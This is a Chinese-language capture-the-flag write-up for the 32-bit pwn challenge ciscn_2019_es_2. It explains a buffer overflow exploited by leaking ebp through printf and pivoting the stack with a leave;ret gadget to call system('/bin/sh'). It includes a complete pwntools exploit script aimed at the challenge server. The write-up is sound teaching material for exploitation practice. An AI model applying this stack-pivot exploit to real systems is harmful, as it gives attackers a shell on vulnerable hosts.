ciscn_2019_es_2
1.查看文件信息
checksec一下:32位程序,开启了RELOR和NX保护
运行:发现是输入字符串的题目
2.IDA分析
发现vul函数,s到ebp的长度为 0x28,但是可以读入0x30个字节,只有0x30 - 0x28 = 0x08个自己供我们利用,只能覆盖ebp和返回地址,
因此判断需要用到栈迁移的知识
检查程序,发现hack函数,里面含有system函数,但是没有’/bin/sh’字符串
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KXcvZ9GF-1669599009341)(https://ldx-picture.oss-cn-hangzhou.aliyuncs.com/202211280815887.png)]
1.确定栈劫持地址与偏移
本题中,我们可将栈劫持到缓冲区变量s的位置,便可以继续写入我们的payload,因此要确定s的起始地址
需要提前泄露s的地址,
可以利用printf函数会一直打印到’\0’的机制,泄露ebp寄存器的内容,然后确定变量s到ebp的偏移,进而计算s的起始地址
先将断点下在vul函数的nop指令处
执行,我们第二次输入"aaaabbbb"进行定位,ebp位于地址0xffffcf78处,该寄存器的内容为 0xffffcf88,即为上层main函数的ebp地址
此时esp的地址为0xffffcf50, 二者的偏移量为0x38
因此得出结论,我们只需要在printf泄露出ebp存储的地址后减去0x38就可以得到esp的地址,即栈劫持的目标地址
2.ROPgadget查找可以利用的leave ret 地址
这里我们利用0x080484b8
3.第一个payload
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
当我们接收到’B’字符时,说明s变量的内容已被全部打印出来,接下来printf就应该打印ebp存储的地址,
即main函数的ebp,可以通过减去0x38得到变量s的起始地址
4.第二个payload
payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret
执行到栈迁移的最后一个 pop eip 时,此时eip应该为 esp + 4 ,即system_addr的地址
这里我们自己写入’/bin/sh’字符串,以作为system函数的参数
3.完整exp脚本
from pwn import *
p = remote("node4.buuoj.cn", 25235)
system_addr = 0x08048400
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret
p.sendline(payload2)
p.interactive()
成功得到shell